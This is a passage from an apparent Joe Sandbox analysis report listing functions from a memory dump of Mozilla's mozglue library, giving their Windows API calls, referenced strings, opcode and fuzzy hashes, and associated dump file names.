Associated: 00000000.00000002.1866990516.000000006C552000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4c0000_file.jbxd

Similarity

API ID: Heapmemset$AllocateBackCaptureFreeStackTrace
String ID:
API String ID: 2764315370-0
Opcode ID: 4d09930ef979ee78a634a6e45a9f0f06f97e7d7e57540b267679d4844b3285ca
Instruction ID: 594af60e0faad88fcd60d5f0d87bf0bb42ae198d136037acbb07c828d92b9ead
Opcode Fuzzy Hash: 4d09930ef979ee78a634a6e45a9f0f06f97e7d7e57540b267679d4844b3285ca
Instruction Fuzzy Hash: B1517F71A002158FE724DF69CD80BAAB3F2FFC8314F294629D556A7B94D734F9068B81

Function 6C518E00 Relevance: 7.6, APIs: 6, Instructions: 147COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,?,6C50B58D,?,?,?,?,?,?,?,6C53D734,?,?,?,6C53D734), ref: 6C518E6E
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C50B58D,?,?,?,?,?,?,?,6C53D734,?,?,?,6C53D734), ref: 6C518EBF
free.MOZGLUE(?,?,?,?,6C50B58D,?,?,?,?,?,?,?,6C53D734,?,?,?), ref: 6C518F24
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C50B58D,?,?,?,?,?,?,?,6C53D734,?,?,?,6C53D734), ref: 6C518F46
free.MOZGLUE(?,?,?,?,6C50B58D,?,?,?,?,?,?,?,6C53D734,?,?,?), ref: 6C518F7A
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C50B58D,?,?,?,?,?,?,?,6C53D734,?,?,?), ref: 6C518F8F

Memory Dump Source

Source File: 00000000.00000002.1866852108.000000006C4C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000000.00000002.1866828828.000000006C4C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866923987.000000006C53D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866952153.000000006C54E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866990516.000000006C552000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4c0000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: eb14d237604fc01269493f057a96c03623da8158e18005de1dac95cadfc25f71
Instruction ID: d7980379422c3b527d7eb0328932b4830a6bf3e21aadd21e61157d41517762e9
Opcode Fuzzy Hash: eb14d237604fc01269493f057a96c03623da8158e18005de1dac95cadfc25f71
Instruction Fuzzy Hash: F751B6B1A052158FEB24CF54DC8476E73B2FF45318F16056AD916ABB40E731F904CB92

Function 6C5127E0 Relevance: 7.6, APIs: 6, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6C512620,?,?,?,6C5060AA,6C505FCB,6C5079A3), ref: 6C51284D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C512620,?,?,?,6C5060AA,6C505FCB,6C5079A3), ref: 6C51289A
free.MOZGLUE(?,?,?,6C512620,?,?,?,6C5060AA,6C505FCB,6C5079A3), ref: 6C5128F1
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C512620,?,?,?,6C5060AA,6C505FCB,6C5079A3), ref: 6C512910
free.MOZGLUE(00000001,?,?,6C512620,?,?,?,6C5060AA,6C505FCB,6C5079A3), ref: 6C51293C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00200000,?,?,6C512620,?,?,?,6C5060AA,6C505FCB,6C5079A3), ref: 6C51294E

Memory Dump Source

Source File: 00000000.00000002.1866852108.000000006C4C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000000.00000002.1866828828.000000006C4C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866923987.000000006C53D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866952153.000000006C54E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866990516.000000006C552000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4c0000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: d5bd5957103fb2c25756ffb282ce72f0b007366e05244b946bc8f74bda63fa8e
Instruction ID: 144361e09cde223cb719cee43212834c1ee2a5f20994509638a4d4b78aaa6b66
Opcode Fuzzy Hash: d5bd5957103fb2c25756ffb282ce72f0b007366e05244b946bc8f74bda63fa8e
Instruction Fuzzy Hash: 11415EB1A082068BFB14CF68DC8876A77F6EB46308F254929D556EBB40E731E944CB91

Function 6C4CCFE0 Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 134memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C54E784), ref: 6C4CCFF6
LeaveCriticalSection.KERNEL32(6C54E784), ref: 6C4CD026
VirtualAlloc.KERNEL32(00000000,00100000,00001000,00000004), ref: 6C4CD06C
VirtualFree.KERNEL32(00000000,00100000,00004000), ref: 6C4CD139

Strings

MOZ_CRASH(), xrefs: 6C4CD187

Memory Dump Source

Source File: 00000000.00000002.1866852108.000000006C4C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000000.00000002.1866828828.000000006C4C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866923987.000000006C53D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866952153.000000006C54E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866990516.000000006C552000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4c0000_file.jbxd

Similarity

API ID: CriticalSectionVirtual$AllocEnterFreeLeave
String ID: MOZ_CRASH()
API String ID: 1090480015-2608361144
Opcode ID: 697eed24920a6426c437eee29395818d1b03ee45a94a39336c1b9589aaf94ddf
Instruction ID: 69890555d2361521119402ff86198a91565a18271f7d3c470a3ffa8b8496088e
Opcode Fuzzy Hash: 697eed24920a6426c437eee29395818d1b03ee45a94a39336c1b9589aaf94ddf
Instruction Fuzzy Hash: BE410375B803124FDB04EE7C8C91F6AB6B0EB49328F164239E918E7784D7B19C018BC9

Function 6C4C4DE0 Relevance: 7.6, APIs: 5, Instructions: 133stringCOMMON

Download Yara Rule

APIs

?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C4C4E5A
?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C4C4E97
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C4C4EE9
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C4C4F02
?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?), ref: 6C4C4F1E

Memory Dump Source

Source File: 00000000.00000002.1866852108.000000006C4C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000000.00000002.1866828828.000000006C4C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866923987.000000006C53D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866952153.000000006C54E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866990516.000000006C552000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4c0000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@CreateRepresentation@$Ascii@DecimalDtoaExponentialMode@12@memcpystrlen
String ID:
API String ID: 713647276-0
Opcode ID: cc1aebe860fad18a8f1193d0f9e0e2ec8b5db99c71afd2fbc553a386b8965f3a
Instruction ID: 45d6fbd70c2cb2d0536362f3783281f40e0a082628d55509c0ea3ed8f8b4db5b
Opcode Fuzzy Hash: cc1aebe860fad18a8f1193d0f9e0e2ec8b5db99c71afd2fbc553a386b8965f3a
Instruction Fuzzy Hash: E641DF796047059FC701CF68C880E6BBBE4BF89394F109A1DF46587760D730E915CB82

Function 6C4D1530 Relevance: 7.6, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(-00000002,?,6C4D152B,?,?,?,?,6C4D1248,?), ref: 6C4D159C
memcpy.VCRUNTIME140(00000023,?,?,?,?,6C4D152B,?,?,?,?,6C4D1248,?), ref: 6C4D15BC
moz_xmalloc.MOZGLUE(-00000001,?,6C4D152B,?,?,?,?,6C4D1248,?), ref: 6C4D15E7
free.MOZGLUE(?,?,?,?,?,?,6C4D152B,?,?,?,?,6C4D1248,?), ref: 6C4D1606
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,6C4D152B,?,?,?,?,6C4D1248,?), ref: 6C4D1637

Memory Dump Source

Source File: 00000000.00000002.1866852108.000000006C4C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000000.00000002.1866828828.000000006C4C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866923987.000000006C53D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866952153.000000006C54E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866990516.000000006C552000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4c0000_file.jbxd

Similarity

API ID: moz_xmalloc$_invalid_parameter_noinfo_noreturnfreememcpy
String ID:
API String ID: 733145618-0
Opcode ID: ce9b7878fa5d59731cbb2c6e4601f2711504e91cf20e4737719f306e24921edc
Instruction ID: f02296216066d82135433813ad0cff1f12b68e800cd92cef591a10141ca126da
Opcode Fuzzy Hash: ce9b7878fa5d59731cbb2c6e4601f2711504e91cf20e4737719f306e24921edc
Instruction Fuzzy Hash: 9F31D871A001148BC714EE78D860C6E77E5AB853747260B6DEC27DBBD4EB30F9058791

Function 6C52AD70 Relevance: 7.6, APIs: 5, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000000,?,00000000,?,?,6C53E330,?,6C4EC059), ref: 6C52AD9D

Part of subcall function 6C4DCA10: malloc.MOZGLUE(?), ref: 6C4DCA26

memset.VCRUNTIME140(00000000,00000000,00000000,00000000,?,?,6C53E330,?,6C4EC059), ref: 6C52ADAC
free.MOZGLUE(?,?,?,?,00000000,?,?,6C53E330,?,6C4EC059), ref: 6C52AE01
GetLastError.KERNEL32(?,00000000,?,?,6C53E330,?,6C4EC059), ref: 6C52AE1D
GetLastError.KERNEL32(?,00000000,00000000,00000000,?,?,?,00000000,?,?,6C53E330,?,6C4EC059), ref: 6C52AE3D

Memory Dump Source

Source File: 00000000.00000002.1866852108.000000006C4C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000000.00000002.1866828828.000000006C4C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866923987.000000006C53D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866952153.000000006C54E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866990516.000000006C552000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4c0000_file.jbxd

Similarity

API ID: ErrorLast$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 3161513745-0
Opcode ID: 3c73dc2bacc93bc4e8e8c0354dc2072d7b66435612cf97a233c85f7fb1a1bd6e
Instruction ID: ae7e42f7fed60a0c6b231d3d843fd87ee57a167059fca6c3d6d25d90574acce3
Opcode Fuzzy Hash: 3c73dc2bacc93bc4e8e8c0354dc2072d7b66435612cf97a233c85f7fb1a1bd6e
Instruction Fuzzy Hash: C73121B1A002259FDB14DF798C44AABB7F8EF89614F15882DE85AD7740E734A805CBA4

Function 6C525EF0 Relevance: 7.6, APIs: 5, Instructions: 89COMMON

Download Yara Rule

APIs

?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(00000001,00000000,6C53DCA0,?,?,?,6C4FE8B5,00000000), ref: 6C525F1F
?sgetc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C4FE8B5,00000000), ref: 6C525F4B
?snextc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(00000000,?,6C4FE8B5,00000000), ref: 6C525F7B
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(6E65475B,00000000,?,6C4FE8B5,00000000), ref: 6C525F9F
?sbumpc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C4FE8B5,00000000), ref: 6C525FD6

Memory Dump Source

Source File: 00000000.00000002.1866852108.000000006C4C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000000.00000002.1866828828.000000006C4C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866923987.000000006C53D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866952153.000000006C54E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866990516.000000006C552000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4c0000_file.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@?sbumpc@?$basic_streambuf@?sgetc@?$basic_streambuf@?snextc@?$basic_streambuf@Ipfx@?$basic_istream@
String ID:
API String ID: 1389714915-0
Opcode ID: f0d73fa2e877ff05fbf0083f59ff6ebbc866e705ec86b3b7a05c7c8484befb9a
Instruction ID: 708653275427d40cbb3bab2173fe114d9d3e84d82a41d0041d0245715d29bdeb
Opcode Fuzzy Hash: f0d73fa2e877ff05fbf0083f59ff6ebbc866e705ec86b3b7a05c7c8484befb9a
Instruction Fuzzy Hash: F531FC74300A008FD724DF29C898E2AB7F9FF89319BA58558E55687B99D735EC41CB80

Function 6C4CB4C0 Relevance: 7.6, APIs: 5, Instructions: 84COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 6C4CB532
moz_xmalloc.MOZGLUE(?), ref: 6C4CB55B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C4CB56B
wcsncpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?), ref: 6C4CB57E
free.MOZGLUE(00000000), ref: 6C4CB58F

Memory Dump Source

Source File: 00000000.00000002.1866852108.000000006C4C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000000.00000002.1866828828.000000006C4C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866923987.000000006C53D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866952153.000000006C54E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866990516.000000006C552000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4c0000_file.jbxd

Similarity

API ID: HandleModulefreememsetmoz_xmallocwcsncpy_s
String ID:
API String ID: 4244350000-0
Opcode ID: a60f544696c22e65dab9c8376edd0fc633b19f7cb7edd3268d2150ce7ae9f630
Instruction ID: d7949ee460512f339431f4ed6efe08e9a8c4d3dcafa9a2ed15955abaa7f05242
Opcode Fuzzy Hash: a60f544696c22e65dab9c8376edd0fc633b19f7cb7edd3268d2150ce7ae9f630
Instruction Fuzzy Hash: 8E21E175A002159BDB00DF68CC40FAABBB9FF86318F684129E818DB351E736D911CBA1

Function 6C4CB7A0 Relevance: 7.6, APIs: 5, Instructions: 77COMMON

Download Yara Rule

APIs

?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6C4CB7CF
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6C4CB808
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6C4CB82C
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C4CB840
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C4CB849

Memory Dump Source

Source File: 00000000.00000002.1866852108.000000006C4C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000000.00000002.1866828828.000000006C4C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866923987.000000006C53D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866952153.000000006C54E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866990516.000000006C552000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4c0000_file.jbxd

Similarity

API ID: free$?vprint@PrintfTarget@mozilla@@mallocmemcpy
String ID:
API String ID: 1977084945-0
Opcode ID: cd3c55bd89b9b85c5dde72f6eac473baa87daa77c0b573a9c63a882aa0701fbc
Instruction ID: 1c74989288ccd42dbc2d550e77f118f971d5d23984db55219f9ee44c82d581a3
Opcode Fuzzy Hash: cd3c55bd89b9b85c5dde72f6eac473baa87daa77c0b573a9c63a882aa0701fbc
Instruction Fuzzy Hash: 63216DB4E002199FDF04DFA9C8859FEBBB4EF49318F148129EC19A7340E731A944CBA1

Function 6C526E50 Relevance: 7.6, APIs: 5, Instructions: 72COMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C526E78

Part of subcall function 6C526A10: InitializeCriticalSection.KERNEL32(6C54F618), ref: 6C526A68
Part of subcall function 6C526A10: GetCurrentProcess.KERNEL32 ref: 6C526A7D
Part of subcall function 6C526A10: GetCurrentProcess.KERNEL32 ref: 6C526AA1
Part of subcall function 6C526A10: EnterCriticalSection.KERNEL32(6C54F618), ref: 6C526AAE
Part of subcall function 6C526A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C526AE1
Part of subcall function 6C526A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C526B15
Part of subcall function 6C526A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100,?,?), ref: 6C526B65
Part of subcall function 6C526A10: LeaveCriticalSection.KERNEL32(6C54F618,?,?), ref: 6C526B83

MozFormatCodeAddress.MOZGLUE ref: 6C526EC1
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C526EE1
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C526EED
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000400), ref: 6C526EFF

Memory Dump Source

Source File: 00000000.00000002.1866852108.000000006C4C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000000.00000002.1866828828.000000006C4C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866923987.000000006C53D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866952153.000000006C54E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866990516.000000006C552000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4c0000_file.jbxd

Similarity

API ID: CriticalSectionstrncpy$AddressCodeCurrentProcess$DescribeEnterFormatInitializeLeave_fileno_writefflush
String ID:
API String ID: 4058739482-0
Opcode ID: a7ab5ad364db8a82a80ed787e777787be51c55e10ed4ababe53f5425c6d1e4f0
Instruction ID: 4995f59d1af026b4709b54246383679e13f53cb59bd7da0242cdf11150e824f7
Opcode Fuzzy Hash: a7ab5ad364db8a82a80ed787e777787be51c55e10ed4ababe53f5425c6d1e4f0
Instruction Fuzzy Hash: 09219071A0431A9FDF10DF69DC85A9E77F5EF84308F048079E80D97281EB749A598F92

Function 6C500D60 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,00003000,00003000,?,6C4C3DEF), ref: 6C500D71
VirtualAlloc.KERNEL32(?,08000000,00003000,00000004,?,6C4C3DEF), ref: 6C500D84
VirtualFree.KERNEL32(00000000,00000000,00008000,?,6C4C3DEF), ref: 6C500DAF

Strings

<jemalloc>, xrefs: 6C500D92, 6C500DB9
: (malloc) Error in VirtualFree(), xrefs: 6C500D97, 6C500DBE

Memory Dump Source

Source File: 00000000.00000002.1866852108.000000006C4C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000000.00000002.1866828828.000000006C4C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866923987.000000006C53D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866952153.000000006C54E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866990516.000000006C552000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4c0000_file.jbxd

Similarity

API ID: Virtual$Free$Alloc
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 1852963964-2186867486
Opcode ID: eb3675510e1c0b435f1aa9dd0af9319625ff44f44084b2d633ac5b843fb8efbe
Instruction ID: 1fea8b829a6e1fe314e25f116f6763acea1f96b6b9a02714b11ac5d8323bdee4
Opcode Fuzzy Hash: eb3675510e1c0b435f1aa9dd0af9319625ff44f44084b2d633ac5b843fb8efbe
Instruction Fuzzy Hash: 65F0543238079432E62429665C0AB6A269D67C2B65F25C527F608DA9C0DB70E800C6B9

Function 6C525850 Relevance: 7.5, APIs: 5, Instructions: 41synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(000000FF), ref: 6C52586C
CloseHandle.KERNEL32 ref: 6C525878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C525898
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6C5258C9
free.MOZGLUE(00000000), ref: 6C5258D3

Memory Dump Source

Source File: 00000000.00000002.1866852108.000000006C4C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000000.00000002.1866828828.000000006C4C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866923987.000000006C53D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866952153.000000006C54E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866990516.000000006C552000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4c0000_file.jbxd

Similarity

API ID: free$CloseHandleObjectSingleWait
String ID:
API String ID: 1910681409-0
Opcode ID: 9d8d96196e7ae5c57f31fab74f7d90a43e32fa4145c2322ed465c15e71d15a38
Instruction ID: 09990d4ea1d9b4eb0ca27d3da8914e3b1c29c25221b5a83b72f96fb406a0b640
Opcode Fuzzy Hash: 9d8d96196e7ae5c57f31fab74f7d90a43e32fa4145c2322ed465c15e71d15a38
Instruction Fuzzy Hash: 44016271704101ABDF00FF2EDC08A867BF8EB8332D766C275E519D2256D77198148F99

Function 6C517620 Relevance: 7.5, APIs: 5, Instructions: 35threadCOMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0000002C,?,?,?,?,6C5175C4,?), ref: 6C51762B

Part of subcall function 6C4DCA10: malloc.MOZGLUE(?), ref: 6C4DCA26

InitializeConditionVariable.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,6C5174D7,6C5215FC,?,?,?), ref: 6C517644
GetCurrentThreadId.KERNEL32 ref: 6C51765A
AcquireSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C5174D7,6C5215FC,?,?,?), ref: 6C517663
ReleaseSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C5174D7,6C5215FC,?,?,?), ref: 6C517677

Memory Dump Source

Source File: 00000000.00000002.1866852108.000000006C4C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000000.00000002.1866828828.000000006C4C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866923987.000000006C53D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866952153.000000006C54E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866990516.000000006C552000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4c0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireConditionCurrentInitializeReleaseThreadVariablemallocmoz_xmalloc
String ID:
API String ID: 418114769-0
Opcode ID: 127c2698c6e494351747083910e00a387e4f1e732094895b2a7ed3562022bd8b
Instruction ID: 964c2f6097e17ce8db41ec24ff6f2427ed40d5ee1afa7662d6044deb3b4ed62d
Opcode Fuzzy Hash: 127c2698c6e494351747083910e00a387e4f1e732094895b2a7ed3562022bd8b
Instruction Fuzzy Hash: 4CF0A471E10745ABD700AF21CC48A79B778FFEA359F128356F90442601E7B1A5E087D1

Function 6C521700 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 190COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6C521800

Part of subcall function 6C4FCBE8: GetCurrentProcess.KERNEL32(?,6C4C31A7), ref: 6C4FCBF1
Part of subcall function 6C4FCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C4C31A7), ref: 6C4FCBFA

Part of subcall function 6C4C4290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C503EBD,6C503EBD,00000000), ref: 6C4C42A9

Strings

Details, xrefs: 6C521925
{marker.name} - {marker.data.name}, xrefs: 6C5218C7
name, xrefs: 6C521939

Memory Dump Source

Source File: 00000000.00000002.1866852108.000000006C4C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000000.00000002.1866828828.000000006C4C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866923987.000000006C53D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866952153.000000006C54E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866990516.000000006C552000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4c0000_file.jbxd

Similarity

API ID: Process$CurrentInit_thread_footerTerminatestrlen
String ID: Details$name${marker.name} - {marker.data.name}
API String ID: 46770647-1733325692
Opcode ID: d8e3f1ef49e868fb60da53ac407adcf535579a2092ad116e341f2343189d95a7
Instruction ID: f325dea30420e20c731e645324f2ca6a7faf62084a8193c3bdf5370a031ab464
Opcode Fuzzy Hash: d8e3f1ef49e868fb60da53ac407adcf535579a2092ad116e341f2343189d95a7
Instruction Fuzzy Hash: 0D71E471A003069FC704DF28D854AABBBF1FF85314F05466DD8194BB41D771AA98CBE2

Function 6C4ED468 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 6C4FCBE8: GetCurrentProcess.KERNEL32(?,6C4C31A7), ref: 6C4FCBF1
Part of subcall function 6C4FCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C4C31A7), ref: 6C4FCBFA

EnterCriticalSection.KERNEL32(6C54E784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C4FD1C5), ref: 6C4ED4F2
LeaveCriticalSection.KERNEL32(6C54E784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C4FD1C5), ref: 6C4ED50B

Part of subcall function 6C4CCFE0: EnterCriticalSection.KERNEL32(6C54E784), ref: 6C4CCFF6
Part of subcall function 6C4CCFE0: LeaveCriticalSection.KERNEL32(6C54E784), ref: 6C4CD026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C4FD1C5), ref: 6C4ED52E
EnterCriticalSection.KERNEL32(6C54E7DC), ref: 6C4ED690
LeaveCriticalSection.KERNEL32(6C54E784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C4FD1C5), ref: 6C4ED751

Strings

MOZ_CRASH(), xrefs: 6C4ED4BB

Memory Dump Source

Source File: 00000000.00000002.1866852108.000000006C4C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000000.00000002.1866828828.000000006C4C0000.00000002.00000001.01000000.00000008.sdmpDownload File
